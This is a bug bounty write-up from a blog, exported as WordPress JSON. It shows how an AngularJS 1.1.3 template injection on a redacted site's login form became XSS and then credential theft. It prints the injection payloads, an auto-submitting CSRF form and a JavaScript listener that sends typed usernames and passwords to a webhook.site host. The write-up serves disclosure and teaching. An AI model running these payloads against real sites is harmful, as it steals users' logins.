{"id":387,"date":"2024-07-03T23:02:29","date_gmt":"2024-07-03T21:02:29","guid":{"rendered":"https:\/\/bergee.it\/blog\/?p=387"},"modified":"2026-04-27T22:18:26","modified_gmt":"2026-04-27T20:18:26","slug":"from-angularjs-csti-to-credentials-stealing","status":"publish","type":"post","link":"https:\/\/bergee.it\/blog\/from-angularjs-csti-to-credentials-stealing\/","title":{"rendered":"From AngularJS CSTI to credentials theft"},"content":{"rendered":"<p>Hello again<\/p>\n<p>This time I will tell you about the easy way of credentials theft.<\/p>\n<p>I was doing some recon on some sites. I stumbled upon a site with the login form. I checked Wappalyzer and saw the site is using Angular 1.1.3.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-395\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/02\/angular_csti.png\" alt=\"\" width=\"489\" height=\"201\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/02\/angular_csti.png 489w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/02\/angular_csti-300x123.png 300w\" sizes=\"auto, (max-width: 489px) 100vw, 489px\" \/><\/p>\n<p>I immediately put {{7*7}} payload in the login form and pressed the &#8220;Sign in&#8221; button. The value of the login form field changed from {{7*7}} to 49. This is a sign that the site was vulnerable to CSTI (Client Site Template Injection).\u00a0 I could easily turn it to XSS. So I looked for the proper XSS payload here:<\/p>\n<p><a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/XSS%20Injection\/XSS%20in%20Angular.md\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/XSS%20Injection\/XSS%20in%20Angular.md<\/a><\/p>\n<p>I found the one that matches this version of angular js:<\/p>\n<pre><span class=\"pl-kos\">{<\/span><span class=\"pl-kos\">{<\/span><span class=\"pl-s1\">constructor<\/span><span class=\"pl-kos\">.<\/span><span class=\"pl-en\">constructor<\/span><span class=\"pl-kos\">(<\/span><span class=\"pl-s\">'alert(1)'<\/span><span class=\"pl-kos\">)<\/span><span class=\"pl-kos\">(<\/span><span class=\"pl-kos\">)<\/span><span class=\"pl-kos\">}<\/span><span class=\"pl-kos\">}\r\n\r\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-393\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/01\/csti_angular_xss_form_black_redacted.jpg\" alt=\"\" width=\"674\" height=\"535\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/01\/csti_angular_xss_form_black_redacted.jpg 674w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/01\/csti_angular_xss_form_black_redacted-300x238.jpg 300w\" sizes=\"auto, (max-width: 674px) 100vw, 674px\" \/>\r\n<\/span><\/pre>\n<p>I put this payload into the login form, pressed &#8220;Sign in&#8221; and saw the alert box with value 1. Ok, I had post-based XSS. I looked at the form and there was no CSRF protection.\u00a0 I created the html file like this:<\/p>\n<pre>&lt;form method=\"post\" action=\"https:\/\/www.redacted.com\" id=\"frm\"&gt;\r\n&lt;input type=\"hidden\" name=\"__EVENTTARGET\" id=\"__EVENTTARGET\" value=\"\" \/&gt;\r\n&lt;input type=\"hidden\" name=\"txtUserId\" id=\"txtUserId\" value=\"{{<span class=\"pl-kos\">{<\/span><span class=\"pl-kos\">{<\/span><span class=\"pl-s1\">constructor<\/span><span class=\"pl-kos\">.<\/span><span class=\"pl-en\">constructor<\/span><span class=\"pl-kos\">(<\/span><span class=\"pl-s\">'alert(document.domain)'<\/span><span class=\"pl-kos\">)<\/span>()}}\" \/&gt;\r\n&lt;input type=\"hidden\" name=\"txtpassword\" id=\"txtpassword\" value=\"\" \/&gt;\r\n&lt;input type=\"submit\" value=\"Login\"&gt;\r\n&lt;script&gt;\r\ndocument.forms['frm'].submit();\r\n&lt;\/script&gt;<\/pre>\n<p>I opened the file, the form was posted, and the domain name popup appeared on the screen. <span class=\"pl-kos\">What can I do with XSS on the site with the login form? The victim can&#8217;t be logged in as the payload executes inside the login form. Maybe I can steal the credentials while the victim is logging in. All I need to do is read the login and password from the form and send these values to the external (the attacker&#8217;s) website. For this task I used <a href=\"https:\/\/webhook.site\">https:\/\/webhook.site.<\/a> The js payload looks like this:<br \/>\n<\/span><\/p>\n<pre>document.addEventListener(\"change\",(function(e){\r\nlg=document.forms[\"frm\"].txtUserId.value,\r\npwd=document.forms[\"frm\"].txtpassword.value,\r\nfetch(\"https:\/\/webhook.site\/56a3452e-f912-4e31-81d2-a683d1c2d8d9\/?creds=\"+lg+\"\/\"+pwd)\r\n}));<\/pre>\n<p>This code adds the event listener for the onChange event. So every time the user types the login or password and presses the tab key or &#8220;Sign in&#8221; button, the form values will be sent to the attacker&#8217;s address as the creds parameter. Putting all the pieces together the final payload for the login input value was:<\/p>\n<pre>{{constructor.constructor('document.addEventListener(&amp;quot;change&amp;quot;,(function(e){lg=document.forms[&amp;quot;frm&amp;quot;].txtUserId.value,pwd=document.forms[&amp;quot;frm&amp;quot;].txtpassword.value,fetch(&amp;quot;https:\/\/webhook.site\/xxxxxxxx-xxxx-xxxx-81d2-a683d0c2d9d9\/?creds=&amp;quot;+lg+&amp;quot;\/&amp;quot;+pwd)}))')()}}<\/pre>\n<p>This way I could easily steal the victim&#8217;s credentials while he\/she was logging in.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-390\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/01\/webhooksite_reacted.jpg\" alt=\"\" width=\"1904\" height=\"594\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/01\/webhooksite_reacted.jpg 1904w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/01\/webhooksite_reacted-300x94.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/01\/webhooksite_reacted-1024x319.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/01\/webhooksite_reacted-768x240.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/01\/webhooksite_reacted-1536x479.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2024\/01\/webhooksite_reacted-850x265.jpg 850w\" sizes=\"auto, (max-width: 1904px) 100vw, 1904px\" \/><\/p>\n<p>See you next bug<\/p>\n<p>Reward: some swag<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello again This time I will tell you about the easy way of credentials theft. I was doing some recon on some sites. I stumbled upon a site with the login form. I checked Wappalyzer and saw the site is using Angular 1.1.3. I immediately put {{7*7}} payload in the login form and pressed the&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,33,29],"tags":[46,45,6],"class_list":["post-387","post","type-post","status-publish","format-standard","hentry","category-bez-kategorii","category-vdp","category-write-up","tag-angular","tag-csti","tag-xss"],"_links":{"self":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/387","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/comments?post=387"}],"version-history":[{"count":10,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/387\/revisions"}],"predecessor-version":[{"id":428,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/posts\/387\/revisions\/428"}],"wp:attachment":[{"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/media?parent=387"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/categories?post=387"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/bergee.it\/blog\/wp-json\/wp\/v2\/tags?post=387"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}